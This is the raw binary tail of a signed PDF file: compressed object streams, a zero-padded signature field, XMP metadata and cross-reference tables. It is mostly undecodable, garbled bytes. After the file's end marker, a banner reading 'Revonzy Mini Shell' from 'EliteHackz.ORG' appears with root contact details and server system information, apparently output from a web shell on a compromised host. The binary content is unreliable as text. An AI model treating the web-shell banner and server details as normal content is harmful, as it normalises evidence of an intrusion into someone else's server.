0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000>/Filter/Adobe.PPKLite/M(D:20181012154349+05'30')/Name(S V R Srinivas)/Prop_Build<</App<</Name/Reader/OS[/Win]/R 720919/REx(11.0.23)/TrustedMode true>>/Filter<</Date(Nov  1 2017 14:27:22)/Name/Adobe.PPKLite/R 131104/V 2>>/PubSec<</Date(Nov  1 2017 14:27:22)/NonEFontNoWarn true/R 131105>>>>/Reference[<</Data 81 0 R/DigestLocation[ 3890578 34]          /DigestMethod/MD5/DigestValue<c3c345ffe3fc662452320bd663396336>/TransformMethod/FieldMDP/TransformParams 74 0 R/Type/SigRef>>]/SubFilter/adbe.pkcs7.detached/Type/Sig>>
endobj
27 0 obj
<</Filter/FlateDecode/First 230/Length 2406/N 30/Type/ObjStm>>stream
h��X�r�8�����%�ݤI�T�[��Llgc{2E0	I\S�������i��(��I��>l�@�@7��qt��#�P�N(�Hx�~�7T#�X��|_����E�<(@4�+}G�p=<� 	7r!w�}$��x"tP��]!e�����C
K�/0�a���w���H�0
EK�o��s�H��F����=/��>��@J1u�Q��p�y0K2�9�����W/�FRμ�+���4��i	�p�FF~6�����e@����߰+�E�x�"�o����y��q
��?�����I�ׯ魪�QY4t��t�7��x~(W����2O���|S7zu\�K&�#>p�E����Z�q��&k6t�r��u�Tٺ)+&���W�f�Y�.�.��F�>
�Ƚy��hR$e����������@�; <��$\7�S���GvQ�����fY�f�m���p2���ʳ�*��b��HUѰH
��=­�^��3��C�e�AH��G`l�y�F�#��_��eDj�����)�7�tC:�բ�����f�2���>!�H�13���>K|�6",�q��&�b�k��;�xZ�B'���0C��o���c��{����쭐yxV���XϷ.zA�"��j�|��W�<�^�z�Stv���2��-a��O!�q�=�?�#��o=�<�#O<΄���o�$ݹf[8��'��bGY��p�f��s�I�����{��>��]'�w�FCֺN��\��}�G���%-C����h���au��U�y��J5��q.�܋��so0�>�>`�ǎ�h���=�]��#��9§��iw�p����>���p�����4'tZV+�[��M��y�M�.&�LC?��Л�������dL�Q<�w�9��7E�#G�4ܹ��r0�-@�x=���7 v$�����kWz#Ӊh�����ѽ�>����]?���K'�
�?D�����)�0���.���Y��y&��γ�x�
�a���s:�T�J�W�K�ͱq1��7</�O-:���{iF�+�k��ɯ�_c���.��4S��9B��{:�W2B�E�� ������-�C�i+-_X��(�
�q�q�deA�<�����;�t�2�}�ޙ�S·;����מ��;���(�Q�kr:� |�D#�trĘ�7��崐od�(��=#��";c[|�S��%b%����h�-`|#�@,���1��GB�<�'�:f�9��8\��L���(�x޹60ŏa9��5��	Ȍ8~¸Hq��y.��<�j�on�s�^�������<��bLs�\���/;_b.[���oP�����,t� 4���V3�4;m�"�c��~Vt�B���ZE�Į�R�Βj�z6ރ���)�w}�?��"�m�����������q`�(��/�}%����b\8(!ܻ���¸̻�C	^*���}qO��_��0,��b����va�q�{�)a(���;
�^\�$�yN�pĥz�Z~6�z�M�&�Պ�l�F�W9��JW5�J˜�ؙ�Vx�U�Z�:��֪�E��}��ӄT}M뼭))W+E��z�-+S�sU/雮J*M�ג�e�5�˶�y�ES��P��@�,�2�5T�Uf�r]פ�lo-*��:]��Jᒧ�t@�4�#��~�c��~�wt��������K��>����J%׺1��«۵ng�dY�UI���@�X'e��A��+J(%̆����Eהӊ
*iMRE55���J7��oft�Y���R�婦�6�qcOZx�{�-�._��%�~5M���l]g5�j��l������<�7�0Ͳl��'��m���
��������"1��͂�ٵ��vuji��ze*;ϦR�^���[@�jٻ��f��<�!���kA��Lǜ����@�dCl̠*�u���
p���r��U�|3�c �Kˍ�\d��9X��]�4C��R	CK��i�c`7��ukvAe)���Eβjy')0i��v�����o�^�V�H�����5*�x]�|nM�����~�g�-��x���]�q�1'H4����*O��d�<鵎�̱�9��2�fI��ܙ?��g�N��Z�y���
���ziU/���@�r��3��X�X��
 hM��ȶ[
��5�z��8B�h�:B[em��@Y�Z��ɬL6��z
G�\i�K+^��N��J�/7X7�V����@�M3f�����Ƹa��� 
�OA���!�B��۶�@�*�7�m ���S��ӻ�w�7�n��6�~������Y����+}'��?�s�}Y�=��E��z����F_ոy�W�͛0�5�
endstream
endobj
28 0 obj
<</Length 3304/Subtype/XML/Type/Metadata>>stream
<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.4-c006 80.159825, 2016/09/16-03:31:08        ">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:dc="http://purl.org/dc/elements/1.1/"
            xmlns:xmp="http://ns.adobe.com/xap/1.0/"
            xmlns:pdf="http://ns.adobe.com/pdf/1.3/"
            xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/">
         <dc:format>application/pdf</dc:format>
         <dc:creator>
            <rdf:Seq>
               <rdf:li>Nachiket Joshi</rdf:li>
            </rdf:Seq>
         </dc:creator>
         <xmp:CreateDate>2018-10-12T15:43:18+05:30</xmp:CreateDate>
         <xmp:CreatorTool>Microsoft® Word 2013</xmp:CreatorTool>
         <xmp:ModifyDate>2018-10-12T15:43:49+05:30</xmp:ModifyDate>
         <xmp:MetadataDate>2018-10-12T15:43:49+05:30</xmp:MetadataDate>
         <pdf:Producer>Microsoft® Word 2013</pdf:Producer>
         <xmpMM:DocumentID>uuid:1a07c6ed-0a2d-420e-848a-85359f7c7cc6</xmpMM:DocumentID>
         <xmpMM:InstanceID>uuid:24aefd53-7bc0-4798-a468-df94abbc4681</xmpMM:InstanceID>
      </rdf:Description>
   </rdf:RDF>
</x:xmpmeta>
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                           
<?xpacket end="w"?>
endstream
endobj
29 0 obj
<</Filter/FlateDecode/First 18/Length 637/N 3/Type/ObjStm>>stream
h�|��n�0�_�O06I��@ [=,��ksh�h����V��l�ӏϧ]��H�b��X��e�Z�U1[,��{�����>�W�'�F!��r��͠�)��#v���x><�c��0���4�+��+�A�W|���>��&O���c~���B�zPƫ�Ֆ~�v�".Ѧ�A�:�)�k\Oo�$Dc5�;xO.R`���n	�����d-E��4�//]Y k�1��i-P�_�u�j�*n�I�洖���i#t�O��c�R�^K����FF�����8s��G��:�oP��;t�/�IF��
q8ë8x`�B0`E��D��W1[�@���������ƒ���Q_�gk
cb�gi�y]��<���kxwl�"|�<5&�aHC�*7D�'��MAf��x`�y�-�FU�]*f�d��>gS���|��0�dsC�|O�~�hk�pq�bv7�m^�J��dٶy�`;}�l[��k�R�R�r�#��N4��f7j��£�ۋ|/�D��F�K6��=�^.� �A��=�̋�[�y��w���
�¢�q¢��1�1 �=�c �I`��4RF4F4f�1��x��s"w"w��FJ��2�$`0M�4g	�<���S>I�o�f�W����
endstream
endobj
30 0 obj
<</Filter/FlateDecode/First 5/Length 64/N 1/Type/ObjStm>>stream
h�2�P0P���w�/�+Q0��L)��0
)�IS0i&-!�& *V?�� U? 1=��� �n��
endstream
endobj
31 0 obj
<</Filter/FlateDecode/First 5/Length 123/N 1/Type/ObjStm>>stream
h�2�T0P���w,-��/��KL���N-Q��/����w.JM,���sI,I�p�220�040424516��60U76P����L.�/�O+Y��_��Tn���E��%\{@Q~Jir*�vv��0�
endstream
endobj
32 0 obj
<</DecodeParms<</Columns 5/Predictor 12>>/Filter/FlateDecode/ID[<FD94060FE1843C4FB5D02BDD5A96F59A><6398024F3ACB1845A92D0A0FBDECCAC2>]/Info 79 0 R/Length 158/Root 81 0 R/Size 80/Type/XRef/W[1 3 1]>>stream
h�bb&F��L��$#��ͤ&g��d�7������"\^@�I6,�
V��N����l5�2d��1H��2��=�<"���u`]WA*o���B �`7��ͿV9L���h��	��H�߄���f��L��E��I����
endstream
endobj
startxref
116
%%EOF
81 0 obj
<</AcroForm 100 0 R/DSS 133 0 R/Pages 78 0 R/Type/Catalog/Lang(en-GB)/Metadata 132 0 R>>
endobj
132 0 obj
<</Length 3304/Type/Metadata/Subtype/XML>>stream
<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.4-c006 80.159825, 2016/09/16-03:31:08        ">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:dc="http://purl.org/dc/elements/1.1/"
            xmlns:xmp="http://ns.adobe.com/xap/1.0/"
            xmlns:pdf="http://ns.adobe.com/pdf/1.3/"
            xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/">
         <dc:format>application/pdf</dc:format>
         <dc:creator>
            <rdf:Seq>
               <rdf:li>Nachiket Joshi</rdf:li>
            </rdf:Seq>
         </dc:creator>
         <xmp:CreateDate>2018-10-12T15:43:18+05:30</xmp:CreateDate>
         <xmp:CreatorTool>Microsoft® Word 2013</xmp:CreatorTool>
         <xmp:ModifyDate>2023-10-26T16:33:20+05:30</xmp:ModifyDate>
         <xmp:MetadataDate>2018-10-12T15:43:49+05:30</xmp:MetadataDate>
         <pdf:Producer>Microsoft® Word 2013</pdf:Producer>
         <xmpMM:DocumentID>uuid:1a07c6ed-0a2d-420e-848a-85359f7c7cc6</xmpMM:DocumentID>
         <xmpMM:InstanceID>uuid:24aefd53-7bc0-4798-a468-df94abbc4681</xmpMM:InstanceID>
      </rdf:Description>
   </rdf:RDF>
</x:xmpmeta>
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                           
<?xpacket end="w"?>
endstream
endobj
137 0 obj
<</Length 572/Filter/FlateDecode>>stream
x�3hb�5hb4ebd4�e��j�h�������`�Ґۀ��9��M����P�@����L�TIM�����O�L-V����,IM1�5���qN-**��KWp,-��/�,�40�I
��(
�D8��Bs3s�SJ
M�@����~�z&:
A�Y�e
�y)�
��9��:
!�E���y@�sFj^^b&�ncaOO����"��̔���ĢlCiI�4��PpbZjprQeA���������8���ZD�&����e�qQa�fYe��>�LK��B�������;]uG�mY{�Y��+칋W��=��۞��lu�[�63�'��{8B&��֯_E�L��/:�u���[3���)rNʯ��x����-����:8ow�.N�����i<�Wڗ{2�p���٥�s�ɧ�yz�w��>�c�]��BR_�c����;��_�	��7�϶*V}�Id�����<i<՛x2f}��~��������Zޟn��^��9y���l���Q2��-��̛��y��*�Nƹ�N>J>F��僾�<]�
k'��
endstream
endobj
138 0 obj
<</Type /ObjStm /N 5/First 37/Length 263/Filter /FlateDecode>>stream
x�}P�j�0�薘�I^�`�eZ�RL��CH\b
8�o��riNò3;3[8
��P+t��(r6�U̢�|��z��
1Y���`f�,����q?����"@�rwq�?�7����]��,C���i���3
�(�e��~����M�>�vjs�&�1���
�o�]�}B�X�bj�(‚����ʩ	��#@j\�_,�"K�E��7ӗN>O��/S�~�ʎ���]`��/�xcU
endstream
endobj
139 0 obj
<</Type /XRef/W[1 4 2]/Index[79 1 81 1 132 6 138 2 ]/Size 140/Prev 116/Filter /FlateDecode/DecodeParms<</Columns 7/Predictor 12>>/Length 56/Root 81 0 R/Info 79 0 R/ID[<FD94060FE1843C4FB5D02BDD5A96F59A><22767F1AAD16165359338A877002B8C3>]>>stream
x�cbb``�b``��`]���\� ��p�����g�B�w�1��� �siV�
endstream
endobj

startxref
3902635
%%EOF

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4